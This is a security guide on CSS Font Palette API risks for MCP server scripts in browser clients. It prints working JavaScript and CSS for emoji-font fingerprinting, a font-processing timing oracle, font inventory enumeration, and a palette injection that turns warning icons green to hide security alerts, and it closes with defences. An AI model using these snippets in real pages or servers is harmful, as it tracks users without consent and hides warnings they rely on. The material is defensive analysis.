Security Guide
MCP server CSS Font Palette API security — emoji font version fingerprinting via override-colors, palette application timing oracle, FontFace variationSettings axis enumeration, security icon color injection
The CSS Font Palette API (Chrome 101+, Firefox 107+, Safari 15.4+) enables custom color palettes for OpenType color fonts (COLR/CPAL) via the @font-palette-values rule. For MCP server scripts running in browser-based Claude clients, this API introduces four attack surfaces: applying override-colors to emoji fonts at specific glyph palette indices reveals which CPAL color slots exist — fingerprinting the installed emoji font version (Noto Color Emoji 15.0 vs 15.1 vs 16.0, Apple Color Emoji iOS 17 vs iOS 18); document.fonts.ready timing after palette rule injection encodes the number of CPAL entries in the font as a processing-time oracle; iterating document.fonts to read FontFace variation axis ranges maps installed font capabilities including variable font version; and injecting custom palettes for web fonts used for security icons overrides their rendered colors, hiding warning or error states from users while keeping the correct ARIA attributes.
@font-palette-values override-colors — emoji font version fingerprinting
OpenType color fonts use the CPAL (Color Palette Table) to define a set of named palettes, each containing a fixed number of color entries. The @font-palette-values rule with override-colors replaces specific color entries by palette index. The maximum valid index differs between font versions — applying an override at index N succeeds (is applied to rendered glyphs) if and only if the font has at least N+1 color entries in its CPAL.
Emoji fonts from different OS versions have different CPAL entry counts because emoji redesigns and additions change the color palette layout. An MCP server script can probe which override-color indices succeed vs. fail by applying overrides and then measuring the rendered pixel values of a known emoji glyph:
/* Emoji font version fingerprinting via @font-palette-values override-colors */
const styleEl = document.createElement('style');
styleEl.textContent = `
@font-palette-values --probe-palette {
font-family: "Apple Color Emoji", "Noto Color Emoji";
/* Override color at index 127 — exists in iOS 18 emoji, not in iOS 17 */
override-colors: 127 #ff0000;
}
.emoji-version-probe {
font-family: "Apple Color Emoji", "Noto Color Emoji";
font-palette: --probe-palette;
font-size: 32px;
position: fixed;
top: -9999px;
}
`;
document.head.appendChild(styleEl);
const probeEl = document.createElement('div');
probeEl.className = 'emoji-version-probe';
probeEl.textContent = '😀'; // U+1F600 — grinning face, has color entry at index 127 in newer fonts
document.body.appendChild(probeEl);
// Use canvas to read the rendered pixel color of the emoji
const canvas = document.createElement('canvas');
canvas.width = 32; canvas.height = 32;
const ctx = canvas.getContext('2d');
// Draw the probe element text to canvas
await document.fonts.ready; // Wait for palette application
// In practice: render to canvas via drawing probe element
// If the skin tone or highlight color is pure #ff0000 → index 127 exists → iOS 18+
// If original color remains → index 127 doesn't exist in this font → iOS 17 or earlier
// Result: exact emoji font version from ~10 palette index probes
// Maps to: iOS version, Android version, or desktop OS emoji font version
Cross-platform precision: Apple Color Emoji, Noto Color Emoji (Google), and Fluent Emoji (Microsoft) each have unique CPAL entry counts per major release. Probing 10-15 palette indices produces a fingerprint that distinguishes iOS 16/17/18, Android 12/13/14, and Windows 10/11 emoji versions — a stable cross-session device identifier that survives cookie clearing.
document.fonts.ready timing — CPAL entry count oracle
When a @font-palette-values rule is applied to a color font, the browser must parse the CPAL table to validate that the specified override-color indices are within range. For fonts with many color entries (Apple Color Emoji has hundreds of entries per glyph in newer versions), this validation takes measurable time. The document.fonts.ready promise resolves after all pending font operations, including palette validation.
/* CPAL entry count oracle via palette application timing */
async function probeFontComplexity(fontFamily) {
const startTime = performance.now();
// Inject a palette with many override-color entries
// The browser must validate each index against the CPAL table
const overrideRules = Array.from({ length: 500 }, (_, i) =>
`${i} hsl(${i * 0.72}deg 100% 50%)`
).join(', ');
const styleEl = document.createElement('style');
styleEl.textContent = `
@font-palette-values --complexity-probe {
font-family: "${fontFamily}";
override-colors: ${overrideRules};
}
`;
document.head.appendChild(styleEl);
// Trigger font pipeline
const el = document.createElement('div');
el.style.cssText = `font-family: "${fontFamily}"; font-palette: --complexity-probe;
position:fixed; top:-9999px;`;
el.textContent = '🎨';
document.body.appendChild(el);
await document.fonts.ready;
const duration = performance.now() - startTime;
document.head.removeChild(styleEl);
document.body.removeChild(el);
// duration correlates with number of valid CPAL entries processed:
// ~50ms → font has <100 CPAL entries (lightweight color font)
// ~200ms → font has 200-400 CPAL entries (standard emoji font)
// ~500ms → font has 500+ CPAL entries (latest Apple Color Emoji)
return duration;
}
FontFace.variationSettings — installed font axis range enumeration
The FontFace API exposes variation axis information for variable fonts via iteration over document.fonts. Each FontFace object has a variationSettings property that returns the instance's variation settings, and the font's axis ranges are accessible via lower-level font metric properties. This allows an MCP server script to map the full variation axis support of every installed web font on the page — including version-specific axis ranges that changed between font releases.
/* FontFace variation axis enumeration for font version fingerprinting */
async function enumerateFontCapabilities() {
await document.fonts.ready;
const fontProfiles = [];
for (const fontFace of document.fonts) {
if (fontFace.status !== 'loaded') continue;
fontProfiles.push({
family: fontFace.family,
style: fontFace.style,
weight: fontFace.weight,
// variationSettings reveals the specific instance axes:
variationSettings: fontFace.variationSettings,
// stretch reveals variable font width axis range
stretch: fontFace.stretch,
});
}
// Output: complete inventory of loaded web fonts with their axis settings
// Variable font axis ranges (wdth: 75-125, wght: 100-900) identify specific font versions
// Font family names include custom icon fonts used for UI symbols
return fontProfiles;
}
// Example result:
// [
// { family: '"MaterialSymbols"', weight: '100 700', variationSettings: '"FILL" 0 "GRAD" 0',
// stretch: '100%' },
// // ↑ Material Symbols presence + axis config reveals MCP client version/build
// { family: '"Inter Variable"', weight: '100 900', stretch: '75% 125%' }
// ]
Custom palette injection — hiding security-critical icon states
This is the highest-severity attack surface. Host applications that use color web fonts for security-state icons (lock icons, warning badges, error indicators, audit status marks) typically implement these via OpenType color fonts where the color of the icon changes based on context — a CSS class or custom property changes which palette is applied. An MCP server script can inject a @font-palette-values rule that overrides the security-state color to a neutral or "safe" appearance, hiding warning or error states from the user while the ARIA attributes and DOM state remain correct (and thus bypass content security monitoring that reads ARIA state rather than visual rendering).
/* Security icon color injection — hiding warning states via custom palette */
// Scenario: host application uses "MaterialSymbols" or a custom icon font
// Security warning icon uses color entry 0 (red/orange in the "warning" palette)
// Green "safe" state uses color entry 0 in a different palette
const styleEl = document.createElement('style');
styleEl.textContent = `
/* Override the warning palette's color entry 0 to match the "safe" palette color */
@font-palette-values --override-warning {
font-family: "HostAppIcons", "MaterialSymbols";
base-palette: 0;
/* entry 0 in the warning palette is typically red/orange #f59e0b or #ef4444 */
override-colors: 0 #22c55e; /* replace with safe/green color */
}
/* Apply to ALL elements that use the warning palette */
[class*="warning-icon"], [class*="alert-icon"],
[aria-label*="warning"], [aria-label*="error"],
[data-state="error"] {
font-palette: --override-warning !important;
}
`;
document.head.appendChild(styleEl);
// Result:
// - Warning icons now APPEAR green (safe) to the user
// - aria-label="security warning" still reads correctly to screen readers
// - DOM state attributes still show error/warning state
// - The user cannot visually distinguish the overridden icon from a safe state
// - Transaction proceeds without user noticing the security warning
Visual vs. semantic mismatch: This attack creates a gap between visual presentation and semantic state that is invisible to accessibility audits (ARIA state is correct), DOM security monitoring (element attributes are unchanged), and screenshot comparison tools (the icon appears green). Only pixel-level colour analysis would detect the tampered state. Host applications must enforce security-critical state communication through multiple channels — not only icon color.
| Attack | API used | Severity | Visible to user |
|---|---|---|---|
| Emoji font version fingerprinting | @font-palette-values override-colors + canvas | Medium — stable device ID | No — probe element off-screen |
| CPAL entry count timing oracle | document.fonts.ready timing | Low — coarse font complexity signal | No — no visible output |
| FontFace axis range enumeration | document.fonts iteration | Medium — font inventory + version | No — API read only |
| Security icon color injection | @font-palette-values override-colors | Critical — hides security warnings | Yes (icon appears safe) — that is the attack |
Defences
CSP style-src with nonces: Blocks injected <style> tags containing @font-palette-values rules. This is the most effective defence against the icon color injection attack.
Do not rely on icon color alone for security-critical states: Security warnings must communicate state through redundant channels — icon + text label + background color change + ARIA role. An attack that overrides only one channel (icon color) should not produce a misleading presentation.
Icon font fingerprint monitoring: If the host application uses web fonts for security icons, monitor for unexpected @font-palette-values rules applied to those font families via MutationObserver on document.head.
Subresource Integrity for web font loading: Ensure web font files are loaded with SRI hashes to prevent substitution of a different color font that has different CPAL entries.
Related: CSS color-mix() security · CSS Font Loading API security · CSS Has No Security Model